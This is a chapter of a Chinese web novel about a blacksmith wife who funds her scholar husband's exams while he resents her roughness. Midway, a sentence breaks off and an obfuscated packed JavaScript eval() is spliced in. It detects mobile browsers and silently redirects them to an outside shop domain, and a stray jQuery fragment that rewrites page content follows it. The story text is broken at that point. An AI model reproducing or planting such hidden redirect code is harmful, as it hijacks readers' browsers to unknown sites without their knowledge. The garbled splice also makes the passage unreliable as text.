成亲第二年春天，宋云铮接了一桩大活。
县上有家镖局要换一批新刀，点名要青石镇宋家铁铺的工艺，三十口刀，工期两个月，工钱给得厚。宋云铮算了算账，这笔活干下来，给周砚书攒够了秋天去府城参加乡试的盘缠，还能剩些买几身新衣裳和赶考路上吃的干粮。
她一口应了下来。
从那以后铁铺的动静更大了。炉火从早烧到晚，锤声从鸡叫头遍响到掌灯时分，有时候夜里宋云铮还在隔壁小打铁间里磨刀，周砚书在院墙这头能听见那边砂轮的嗡嗡声，像一只不知疲倦的大蚊子。
他起初忍着，后来忍不住了。
那天傍晚他从县学回来，刚走到巷口就听见小打铁间那边叮叮当当敲得热闹，跟隔壁柳含烟屋里飘出来的琵琶声混在一起，刺耳得厉害。他加快步子回家，把书箱往桌上一顿，震得茶壶盖"咔嗒"一跳。
宋云铮还没回来。灶台是冷的。
周砚书站在空荡荡的堂屋里，忽然一股无名火蹿上来。他掀开米缸看了看，米快见底了；掀开菜橱看了看，里头只有半碟隔夜的腌萝卜。他捏着筷子站在那儿，指节发白。
等到天快擦黑宋云铮才回家，两手油污，围裙上溅满了铁屑和火灰，脸上还蹭了一道黑印。她进门看见周砚书坐在桌边阴着脸，愣了一下，然后赶紧洗手去生火。
"今儿赶工，回来晚了，我给你下面吃吧，快得很。"
周砚书没答话。
宋云铮手快，烧水、下面、切了棵白菜扔进去，又磕了个鸡蛋，手脚麻利地端上来一碗热气腾腾的汤面。她把筷子递过去，周砚书接了，低头吃了一口，忽然把筷子拍在桌上。
"你就不能像隔壁柳娘子那样？"
宋云铮收拾灶台的手顿住了。
"人家会绣花会弹琵琶说话温温柔柔的，"周砚书的声音压抑着，像闷了许久的雷终于响了一声，"你呢？一天到晚叮叮当当，满身铁锈味儿，家里灶冷得跟冰窖似的，我回来连口热茶都没有……宋云铮，你是嫁给我当媳妇的，还是来周家当铁匠的？"
宋云铮转过身来。
她脸上那道黑印还在，被灶膛的火光一照，像一道裂痕。她看着他，嘴唇动了动，最后说："镖局的活赶完了就有钱了，你乡试的盘缠就有了，到时候……"
"我不要你那些脏钱。"周砚书说这话时没看她，眼睛盯着碗里的面，汤面上浮着油花，晃得他心烦，"你就不能安安分分待在家里，把日子过出个样子来？你看看镇上哪家媳妇跟你似的？"
宋云铮沉默了很久。
然后她走到桌前，把那碗面端起来，倒进了灶台上的泔水桶。
周砚书猛地抬头。
"你不吃就算了。"宋云铮把碗搁在水槽里，声音平平的，"灶上有热水，要喝自己倒。铺子里还有半口刀没磨完，我走了。"
她解开围裙挂在门后的钉子上，推门出去了。
周砚书坐在空荡荡的堂屋里，听着小打铁间那边重新响起来的砂轮声，嗡嗡嗡的，一阵一阵往耳朵里钻。他把头埋进手掌里，指缝间漏出一声沉闷的叹息。
那天晚上宋云铮在小打铁间里待到半夜才回来。
她回来的时候周砚书已经睡了，面朝里，留给她一个僵硬的脊背。宋云铮在门口站了站，用凉水洗了手脸，轻手轻脚爬上床，躺在外侧。
两个人背对着背，中间隔着的距离比头一晚洞房时还远。
第二天早上，周砚书起床时发现灶上照旧有粥，照旧有咸菜，宋云铮照旧已经去铁铺里了。桌上留了张纸条，纸上用炭笔写着歪歪扭扭的字："饭在锅里，米快没了，我今儿去买。"
周砚书把纸条捏在手里，看了半天，最后叠好塞进了书页里。
那天傍晚他回来时路过隔壁，柳含烟正好开了门，手里端着一碟桂花糕。
"周相公回来了？"柳含烟笑盈盈的，"我今儿做了些糕，想着给邻居们都尝尝，你拿回去跟夫人一道吃吧。"
碟子递过来，指尖白净纤长，指甲上的蔻丹换成了淡粉色，在暮色里像几片花瓣。
周砚书接过来，说了声谢。
柳含烟又问："周夫人不在家？"
"还在铁铺里。"
"周夫人好辛苦的。"柳含烟叹了口气，声音软软的，"我一个妇道人家，光是料理家务都觉得累，她又要打铁又要操持家里，真是不容易。周相公该多疼疼她才是。"
周砚书捏着碟子的手紧了紧，含糊应了一声，快步进了自家院门。
他把那碟桂花糕搁在桌上，自己进了书房。过了一会儿宋云铮回来，看见桌上的糕，问了一句："哪来的？"
"隔壁柳娘子给的。"
宋云铮"哦"了一声，拿起一块尝了尝，说："甜了。"
周砚书在书房里听见了，没应声。
日子照旧过。镖局那批刀最终按期交付，三十口刀一口气打出来，宋云铮的双手磨出新的血泡，旧的还没好全又添新的，十个指头裹了五六个布条。但工钱拿到手，沉甸甸一包碎银子，她在灯底下数了数，分了三份——一份给周砚书做乡试盘缠，一份放进自己攒的私房陶罐里，一份留作铁铺买新铁料。
她把周砚书那份包好了搁在他书案上，用镇纸压着。
周砚书第二天看见那包银子时愣了一会儿。他打开数了数，比预想的多出不少，里头还夹了一张纸条："秋天赶考多带些，路上别省。"
纸条上的字歪歪扭扭，是炭笔写的，笔画粗重，一看就是拿惯了锤子的人握笔时用力过猛，一笔一划都像在铁板上凿出来的。
周砚书把纸条叠好，跟之前那张塞在一起。
他承认有那么一瞬间他心里是软的。可这份软意没持续多久，很快就被另一件事盖过去了。
夏天的时候县学里来了一位新教谕，姓傅，从府城调来的，才学极好，在文人圈子里有名望。周砚书想拜到他门下，可傅教谕的拜师礼收得贵，束脩是寻常教谕的三倍不止。
周砚书回家跟宋云铮商量。宋云铮听完问了一句："他比之前那个先生强在哪里？"
周砚书说了一大通——傅教谕的策论如何精彩、时务见解如何老道、跟京师那些大儒都有书信往来，拜到他门下等于半条腿迈进了会试的门槛。
宋云铮听完，把手里擦了一半的锄头放下，起身去柜子里翻出一个布包，打开，是她攒了大半年的私房钱。
"够不够？"她把布包推过去。
周砚书看着那包钱，又看看宋云铮那双裹着布条的手，喉头动了一下："你哪来这么多钱？"
"铺子里攒的。"宋云铮说得轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834923|211396||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
描淡写，"你拿去用。"
周砚书伸手去接，指尖碰到她的手指，那些裹着布条的血泡隔着薄薄的棉布，硌得他心里一抽。他想说句什么，嘴唇动了动，最后只干巴巴地挤出一句："……你手怎么了？"
宋云铮看了一眼自己的手："打刀磨的，过两天就好了。"
她把钱塞进他手里，转身又去擦那把锄头了。嗡嗡的砂轮声重新响起来，把周砚书那句堵在喉咙口的"谢谢"盖了过去。
周砚书站在那儿，手里攥着沉甸甸的布包，心里头五味杂陈。
他忽然想起柳含烟那天说的话——"周夫人好辛苦的，周相公该多疼疼她才是。"
可他转过头去看宋云铮蹲在院角擦铁器的背影，弓着腰，粗布衣裳上全是灰，头发用一根木簪随便挽着，露出后颈黑黝黝的皮肤。那背影看起来一点也不柔弱，坚实得像块铁墩子，好像不需要任何人疼似的。
他站了一会儿，转身把钱收进了书箱。
那天夜里他很晚才睡，坐在书房里对着傅教谕的门生名录发了半宿的呆。宋云铮的脚步声从院子里响到堂屋，又从堂屋响到卧房，然后安静了。
周砚书放下名录，轻手轻脚走到卧房门口朝里看了一眼。
宋云铮已经躺下了，侧身朝里，被子搭在腰上。月光从窗纸透进来照在她的手上——她睡着了，拳头还是半攥着的，指腹上的血泡在月光底下泛着一层薄薄的白，像细小的茧里裹着亮光。
周砚书看了两眼，把门轻轻带上了。
他回到书房重新翻开名录，却一个字都看不进去，满脑子都是那双裹着布条的血泡的手。
秋天乡试他去了府城，考了九天，出来时瘦了一圈。宋云铮在镇口等他，远远看见那个青衫身影从官道上走过来，步子有点晃，脸色发白。她迎上去，把他身上的书箱接过来背在自己肩上，另一只手扶了他一把。
周砚书被她那只粗糙有力的手架住胳膊的时候，忽然觉得自己像个被铁箍拢住的陶罐，又安全又硌人。
他说不出那是种什么滋味。
成绩发榜那天，周砚书中了举人。名次靠后，但毕竟是中了。报喜的衙役敲锣打鼓进了青石镇，周家院门被围得水泄不通，宋云铮难得放下铁活，在灶台前忙了一整天，整治了一桌子菜。
酒席散后周砚书喝了不少，靠在椅背上脸红眼迷。宋云铮在收拾碗碟，他把手边的酒盅转了两圈，忽然喊她："宋云铮。"
她应了一声。
周砚书醉眼朦胧地看着她端着碗碟的背影，粗布衣裳，宽肩膀，后颈黑黝黝的，头发散了几缕下来粘在脸颊上。他忽然鼻子一酸，含糊道："你……你就不能温柔点儿吗……"
宋云铮没回头，端着碗碟走进了厨房。
等她把灶台收拾干净出来，周砚书已经趴在桌上睡着了。她把他搀回卧房，替他脱了鞋，盖上被子。月光从窗纸里透进来，照着他那张喝醉了泛红的脸，闭着眼时眉目还挺清俊的。
宋云铮在他身边坐了一会儿，低头看看自己的手。
粗黑、嶙峋、布满老茧和血泡。
她把右手凑到月光底下翻过来看了看掌心，看了很久。
然后她轻轻把那只手覆在周砚书的手背上，停了一瞬，又轻轻拿开了。
那触感她自己都嫌硌得慌。